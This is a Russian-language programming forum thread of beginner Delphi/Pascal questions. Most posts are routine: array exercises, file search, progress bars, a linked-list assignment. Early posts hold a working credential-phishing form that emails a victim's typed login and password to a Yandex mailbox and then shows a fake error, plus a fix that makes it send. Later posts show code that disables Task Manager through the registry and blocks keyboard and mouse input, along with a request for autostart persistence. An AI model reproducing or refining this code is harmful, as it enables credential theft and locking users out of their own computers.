[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by banned, 6 May 2007.

Thread Status:
Not open for further replies.
  1. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,158
    Likes Received:
    423
    Reputations:
    231
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    IdSMTP1.Host:='smtp.yandex.ru' ;//smtp сервер мыла.В данном примере для яндекса
    IdSMTP1.port:=25 ;//порт
    IdSMTP1.Username:='abovestart9445' ;//Имя пользователя
    IdSMTP1.password:='123456789' ;//Пароль
    IdMessage1.Body.Text:='Login: '+Edit1.Text+' Pass: ' + (Edit2.Text); //Шлем данные из Edit1.text и edit2.text через ; ,пользователя нужно заставить их заполнить.
    IdMessage1.from.text:='abovestart9445@yandex.ru';//От кого шлем
    IdMessage1.Recipients.Emailaddresses:='kasper2028@yandex.ru'; //кому шлем
    IdMessage1.Subject:='Fake' ;//тема письма
    IdSMTP1.connect ;//соединяемся
    IdSMTP1.Send(idmessage1);//шлем
    IdSMTP1.disconnect ;//Разъединяемся.
    MessageBox(handle, PChar('Ваш текст'),PChar('Ждите'), MB_OK);//тут можем написать что сервер не доступен и т.п.
    end;

    end.


    Знаю вопрос нубовский, НО почему при нажатии Button появляется окно

    [​IMG]
     
    3 people like this.
  2. EndLeSSDre@M

    EndLeSSDre@M Banned

    Joined:
    18 Jul 2009
    Messages:
    143
    Likes Received:
    99
    Reputations:
    -5
    не совсем понял вопроса... или наибольшее число идущих подряд элементов образующих возр послед, или как??? например: 1 2 4 3 6 3 2 1
    тут максимальное количество идущих подряд равно 3 но так же есть и другие возр послед в которых 2 элемента... так все таки уточни задачу

    Не дождался ответа, и решил задачу так как я понял ее... в общем выдает максимально число элементов которые идут подряд с возрастанием:

    PHP:
    program Project2;

    {
    $APPTYPE CONSOLE}

    uses
      SysUtils
    ;

    var 
    a:array[1..10]of integer;
    b:array[1..10]of integer;
    i,j,h:integer;
    begin
    h
    :=1;
    j:=1;
    randomize;
        for 
    i:=1 to 10 do begin
          a
    [i]:=random(10);
          
    write(a[i],' ');
       
    end;



       for 
    i:=1 to 10 do begin
          
    if a[i]> a[i+1then
             begin
             inc
    (j);
             
    end
          
    else
          
    begin
             b
    [h]:=j;
             
    j:=1;
             
    h:=h+1;
          
    end;
       
    end;

    h:=h+1;
    b[h]:=j;
    j:=b[1];

       for 
    i:=2 to h do
          
    begin
             
    if b[i]>j then j:=b[i];
          
    end;

    writeln;

    writeln(j);

    readln;
    end.
     
    #5562 EndLeSSDre@M, 23 Mar 2010
    Last edited: 23 Mar 2010
  3. Dosia

    Dosia Member

    Joined:
    5 Jun 2009
    Messages:
    118
    Likes Received:
    81
    Reputations:
    6

    Code:
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    IdSMTP1.Host:='smtp.yandex.ru' ;//smtp сервер мыла.В данном примере для яндекса
    IdSMTP1.port:=25 ;//порт
    IdSMTP1.Username:='abovestart9445' ;//Имя пользователя
    IdSMTP1.password:='123456789' ;//Пароль
    IdMessage1.Body.Text:='Login: '+Edit1.Text+' Pass: ' + (Edit2.Text); //Шлем данные из Edit1.text и edit2.text через ; ,пользователя нужно заставить их заполнить.
    IdMessage1.from.text:='abovestart9445@yandex.ru';//От кого шлем
    IdMessage1.Recipients.Emailaddresses:='kasper2028@yandex.ru'; //кому шлем
    IdMessage1.Subject:='Fake' ;//тема письма
    [I][B]IdSMTP1.AuthenticationType := atLogin;[/B][/I]
    IdSMTP1.connect ;//соединяемся
    IdSMTP1.Send(idmessage1);//шлем
    IdSMTP1.disconnect ;//Разъединяемся.
    MessageBox(handle, PChar('Ваш текст'),PChar('Ждите'), MB_OK);//тут можем написать что сервер не доступен и т.п.
    end;
    
    end.
    
     
    1 person likes this.
  4. Helium

    Helium New Member

    Joined:
    6 Jan 2010
    Messages:
    23
    Likes Received:
    3
    Reputations:
    0
    Объясните функцию finfist- мне нужен поиск фаилов по определенным критериям+ вывоводить путь с названием в стринг (пример c:\tp7\bin\ololo.pas)
     
  5. EndLeSSDre@M

    EndLeSSDre@M Banned

    Joined:
    18 Jul 2009
    Messages:
    143
    Likes Received:
    99
    Reputations:
    -5
    function FindFirst(const Path: string; Attr: Integer;
    var F: TSearchRec)

    Объясление функции

    простейшая программа поиска

    PHP:
    var
      
    FTSearchRec;
      
    Pathstring;
      
    AttrInteger;
    begin
      
    {Искать все файлы в заданной директории с расширение .pas}
      
    Path := 'c:\tp7\bin\*.pas';
      {
    которые имеют атрибуты "Только для чтения" и "Архивный"}
      
    Attr := faReadOnly faArchive;

      
    FindFirst(PathAttrF);

      {
    Если хотя бы один файл найденто продолжить поиск}
      if 
    F.name <> '' then
      begin
        ListBox1
    .Items.Add(Path,F.name); {Добавление в TListBox пути и имени найденного файла}
        while 
    FindNext(F) = do
          
    ListBox1.Items.Add(Path,F.name);
      
    end;
      
    FindClose(F);
    end.
     
    #5565 EndLeSSDre@M, 24 Mar 2010
    Last edited: 24 Mar 2010
    1 person likes this.
  6. Helium

    Helium New Member

    Joined:
    6 Jan 2010
    Messages:
    23
    Likes Received:
    3
    Reputations:
    0
    Кстати, по неведомым прчинам ругается на TSearchRec
     
  7. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,158
    Likes Received:
    423
    Reputations:
    231
    Подскажите как отрубить клавиатуру? но не всю а что бы можно было выбрать какие кнопки оставить...


    вот этим кодом вырубил диспечер

    procedure TForm1.FormActivate(Sender: TObject);
    var
    reg: tregistry;
    begin
    reg:=treginifile.create();
    with reg do
    begin
    rootkey:=hkey_current_user;
    openkey('software\microsoft\windows\currentversion\policies\system', true);
    writeinteger('disabletaskmgr', 1);
    free;
    end;
    end;


    Но желательно вырубить всю клаву :(
     
    #5567 stepashka_, 24 Mar 2010
    Last edited: 24 Mar 2010
  8. BELbIY

    BELbIY Banned

    Joined:
    14 Aug 2009
    Messages:
    0
    Likes Received:
    47
    Reputations:
    -1
    Я недавно увлекся Delphi.
    Подскажите пожалуйста как в программу добавить полосу загрузки, а точнее как ее "активировать". Какой код прописать в кнопке чтобы эта загрузка типа пошла?
     
  9. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    ProgressBar.
    Почитай вот это http://www.delphisources.ru/forum/showthread.php?t=2464
     
  10. EndLeSSDre@M

    EndLeSSDre@M Banned

    Joined:
    18 Jul 2009
    Messages:
    143
    Likes Received:
    99
    Reputations:
    -5
    PHP:
    procedure BlockInput(ABlockInputboolean); stdcallexternal 'USER32.DLL';
      
    // Вызываем функцию из DLL'ки
     //Пример использования: 
     
    procedure TForm1.N1Click(SenderTObject);
    begin
      BlockInput
    (True);
      
    // Вот собственно этим мы и блокируем клаву и мышь
      // (для обратного исхода надо вместо True написать False)
    end;
    задавайте больше вопросов)))) а то я со скуки умираю))
     
    #5570 EndLeSSDre@M, 25 Mar 2010
    Last edited: 25 Mar 2010
  11. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,158
    Likes Received:
    423
    Reputations:
    231
    а как можно оставить определённые клавиши рабочими?
     
  12. EndLeSSDre@M

    EndLeSSDre@M Banned

    Joined:
    18 Jul 2009
    Messages:
    143
    Likes Received:
    99
    Reputations:
    -5
    на примере одного кода:

    PHP:
    type
    //тут добавляешь какие клавиши тебе нужны

       
    TKeyType = (ktCapsLockktNumLockktScrollLock);

     
    procedure SetLedState(KeyCodeTKeyTypebOnBoolean);
     var
       
    KBStateTKeyboardState;
       
    CodeByte;
     
    begin
       
    case KeyCode of
         ktScrollLock
    Code := VK_SCROLL;
         
    ktCapsLockCode := VK_CAPITAL;
         
    ktNumLockCode := VK_NUMLOCK;
       
    end;
       
    GetKeyboardState(KBState);
       if (
    Win32Platform VER_PLATFORM_WIN32_NTthen
       begin
         
    if Boolean(KBState[Code]) <> bOn then
         begin
           keybd_event
    (Code,
                       
    MapVirtualKey(Code0),
                       
    KEYEVENTF_EXTENDEDKEY,
                       
    0);

           
    keybd_event(Code,
                       
    MapVirtualKey(Code0),
                       
    KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP,
                       
    0);
         
    end;
       
    end
       
    else
       
    begin
         KBState
    [Code] := Ord(bOn);
         
    SetKeyboardState(KBState);
       
    end;
     
    end;

     
    // это в саму кнопку добавляешь:

    procedure TForm1.Button1Click(SenderTObject);
     
    begin
       SetLedState
    (ktCapsLockTrue);  // CapsLock on 
      
    SetLedState(ktNumLockTrue);  // NumLock on 
      
    SetLedState(ktScrollLockTrue);  // ScrollLock on 
    end;
     
    1 person likes this.
  13. Kassper

    Kassper New Member

    Joined:
    7 Jan 2010
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    ICQ клиент

    Здрасте, я хочу написать ICQ клиент...
    В уроках везде где ни читал нужно TAdvPage
    Подскажите где взять компонент с этим, ссылку было бы не плохо =)
    Я уже написал он может принимать сообщения но вот посылать не получаеться =) А если как то без него обойтись то подскажите как?
     
  14. EndLeSSDre@M

    EndLeSSDre@M Banned

    Joined:
    18 Jul 2009
    Messages:
    143
    Likes Received:
    99
    Reputations:
    -5
    http://www.delphisources.ru/pages/sources/internet/2006_year/icq_client.html

    тут есть готовый клиент и исходники, смотри сорцы и думай, рассуждай)
     
  15. Kassper

    Kassper New Member

    Joined:
    7 Jan 2010
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    =) Минут 30 назад уже скачал этот клиент щас сижу разбираюсь)
     
  16. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,158
    Likes Received:
    423
    Reputations:
    231
    подскажите какой код нужно прописать в OnAktive что бы мой файл помещался в Автозагрузку.
     
  17. NTFF

    NTFF New Member

    Joined:
    9 Dec 2009
    Messages:
    23
    Likes Received:
    0
    Reputations:
    0
    ПОМОГИТЕ СОЗДАТЬ ДВУХСВЯЗНЫЙ СПИСОК

    Помогите с реализацией двухсвязного списка в паскале

    может есть вариант как-то преобразовать существующий список если это возможно то вот код:

    Если нет то вот условие
    Разработать справочник пассажирских поездов с полями: номер поезда, станции отправления и назначения, время в дороге, категория поезду. Реализовать подпрограммы поиска: 1) по станциям отправления и назначения, 2) по категории поезду.

    Code:
    [COLOR=White]program Records;
    uses
    crt, strings;
    const
    max = 100;
    type
    
    Ttrain = record
    Otpravlenie : string[40];
    Pribitie : string[40];
    Category : string[10];
    Time : string[10];
    Number : string[10];
    end;
    
    Ttrains = array [1..max] of Ttrain;
    
    
    procedure SngWindow(x1,y1,x2,y2,tc,c : byte);
    begin
    window(x1,y1,x2,y2);
    textbackground(c); textcolor(tc);
    clrscr;
    end;
    
    
    procedure DblWindow(x1,y1,x2,y2,tcolor, c1, c2 : byte);
    begin
    window(x1,y1,x2,y2);
    textbackground(c1);
    clrscr;
    window(x1+1,y1+1,x2-1,y2-1);
    textbackground(c2);
    textcolor(tcolor);
    clrscr;
    end;
    
    
    function Menu : byte;
    var
    punkt : byte; 
    er : integer; 
    s : string;
    begin
    
    SngWindow(1,1,80,25,WHITE,BLACK);
    
    SngWindow(1,6,80,25,WHITE,BLUE);
    
    repeat
    
    DblWindow(1,1,80,5,YELLOW,MAGENTA,BLUE);
    writeln;
    write(' 1.ADD 2.DELETE 3.PRINT 4.SEARCH 5.EXIT');
    readln(s);
    val(s,punkt,er);
    until (er=0) and (punkt>=1) and (punkt<=5);
    Menu := punkt; 
    end;
    
    function SubMenu : byte;
    var
    punkt : byte; 
    er : integer; 
    s : string; 
    begin
    
    SngWindow(1,1,80,25,WHITE,BLACK);
    SngWindow(1,6,80,25,WHITE,BLUE);
    repeat
    
    DblWindow(1,1,80,5,YELLOW,MAGENTA,BLUE);
    writeln;
    write(' 1.Otpravlenie 2.Pribitie 3.Number 4.Exit');
    readln(s);
    val(s,punkt,er);
    until (er=0) and (punkt>=1) and (punkt<=4);
    SubMenu := punkt; 
    end;
    
    procedure AddRecord(var mas : Ttrains; var n : byte; size : byte);
    var
    s : String; 
    er : integer; 
    begin
    
    if (n+1 <= size) then
    begin
    inc(n); 
    
    write('Point of otpravlenie =>'); readln(mas[n].Otpravlenie);
    write('Point of pribitie =>'); readln(mas[n].Pribitie);
    write('Category of train =>'); readln(mas[n].Category);
    write('Time in the way =>'); readln(mas[n].Time);
    write('Number of train =>'); readln(mas[n].number);
    
    writeln('Record is saving....');
    end
    else writeln('ERROR record is lost');
    end;
    
    procedure PrintRecord(var mas : Ttrains; i : integer);
    begin
    write(i:3);
    with mas[i] do
    begin
    write(Otpravlenie:23); write(Pribitie:20);
    write(Category:10); write(Time:10);
    write(Number:12);
    writeln;
    end;
    end; 
    
    procedure Print(var mas : Ttrains; n : integer);
    var
    i : integer;
    begin
    writeln('#':3,'Otpravlenie':23,'Pribitie':20,'Cate gory':10,'Time':10,'Number':12);
    for i:=1 to n do
    PrintRecord(mas,i);
    end;
    
    procedure DelRecordByotpr(var mas : Ttrains; var n : byte; botpr : string);
    var
    i,j : integer;
    begin
    writeln('#':3,'Otpravlenie':23,'Pribitie':20,'Cate gory':10,'Time':10,'Number':12);
    for i:=1 to n do
    begin
    with mas[i] do
    
    if (Otpravlenie = botpr) then
    begin
    PrintRecord(mas,i);
    
    for j:=i+1 to n do
    mas[j-1] := mas[j];
    dec(n);
    end;
    end;
    end;
    
    procedure FindByotpr(var mas : Ttrains; n : integer; botpravlenie : string);
    var
    i : integer;
    begin
    writeln('#':3,'Otpravlenie':23,'Pribitie':20,'Cate gory':10,'Time':10,'Number':12);
    
    for i:=1 to n do
    with mas[i] do
    
    if otpravlenie=botpravlenie then PrintRecord(mas,i);
    end;
    
    procedure FindByCat(var mas : Ttrains; n : integer; ba, bst : string);
    var
    i : integer;
    begin
    writeln('#':3,'Otpravlenie':23,'Pribitie':20,'Cate gory':10,'Time':10,'Number':12);
    
    for i:=1 to n do
    with mas[i] do
    
    if (pribitie=ba) and (Category=bst) then PrintRecord(mas,i);
    end;
    
    procedure FindBynum(var mas : Ttrains; n : integer; bnumber : string);
    var
    i : integer;
    begin writeln('#':3,'Otpravlenie':23,'Pribitie':20,'Cate gory':10,'Time':10,'Number':12);
    
    for i:=1 to n do
    with mas[i] do
    
    if number=bnumber then PrintRecord(mas,i);
    end;
    
    var
    b : Ttrains;
    n : byte;
    punkt : byte;
    subpunkt : byte;
    trainotprav,
    a,
    st : string;
    y : string;
    s : string;
    er : integer;
    begin
    n := 0;
    SngWindow(1,1,80,25,WHITE,BLACK);
    repeat
    punkt:= Menu;
    case (punkt) of
    1:begin
    SngWindow(1,6,80,25,WHITE,BLUE);
    writeln(' ADD train');
    AddRecord(b,n,max);
    readkey;
    end;
    2:begin
    SngWindow(1,6,80,25,WHITE,BLUE);
    writeln(' Delete by otpravlenie');
    
    write('Otpravlenie =>');
    readln(trainotprav);
    
    DelRecordByotpr(b,n,trainotprav);
    readkey;
    end;
    3:begin
    SngWindow(1,6,80,25,WHITE,BLUE);
    writeln(' Catalog of trains');
    Print(b,n);
    readkey;
    end;
    4:begin
    repeat
    subpunkt := SubMenu;
    case (subpunkt) of
    1:begin
    SngWindow(1,6,80,25,WHITE,BLUE);
    writeln(' Train by otpravlenie ');
    write('Otpravlenie =>');
    readln(trainotprav);
    findbyotpr(b,n,trainotprav);
    readkey;
    end;
    2:begin
    SngWindow(1,6,80,25,WHITE,BLUE);
    writeln(' Train by pribitie and category ');
    
    write('Pribitie =>');
    readln(a);
    
    write('Category =>');
    readln(st);
    findByCat(b,n,a,st);
    readkey;
    end;
    3:begin
    SngWindow(1,6,80,25,WHITE,BLUE);
    writeln(' Train by number ');
    write('number =>');
    readln(y);
    findbynum(b,n,y);
    readkey;
    end;
    end;
    until (subpunkt = 4);
    end;
    end;
    until (punkt = 5);
    SngWindow(1,1,80,25,WHITE,BLACK);
    end.[/COLOR]
    
     
    #5577 NTFF, 25 Mar 2010
    Last edited by a moderator: 29 Mar 2010
  18. Life7

    Life7 Banned

    Joined:
    14 Jun 2009
    Messages:
    157
    Likes Received:
    54
    Reputations:
    0
    выложите delphi3 у кого есть, пожалуйста!
     
  19. n1ghtstalker

    n1ghtstalker Elder - Старейшина

    Joined:
    28 Sep 2008
    Messages:
    59
    Likes Received:
    3
    Reputations:
    0
    type ss=^s;
    s=record;
    next,pred:ss;
    info:Ttrain;
    end;

    эм собственно в чём сложность?
    или ты не знаешь что такое двунаправленные списки?
     
  20. SkyLine32

    SkyLine32 Member

    Joined:
    1 Mar 2009
    Messages:
    144
    Likes Received:
    22
    Reputations:
    2
    У кого есть Delphi 2010? Если возможно, залейте пожалуйста на фтп, с файлообменников качать не кайф.
     
Loading...
Thread Status:
Not open for further replies.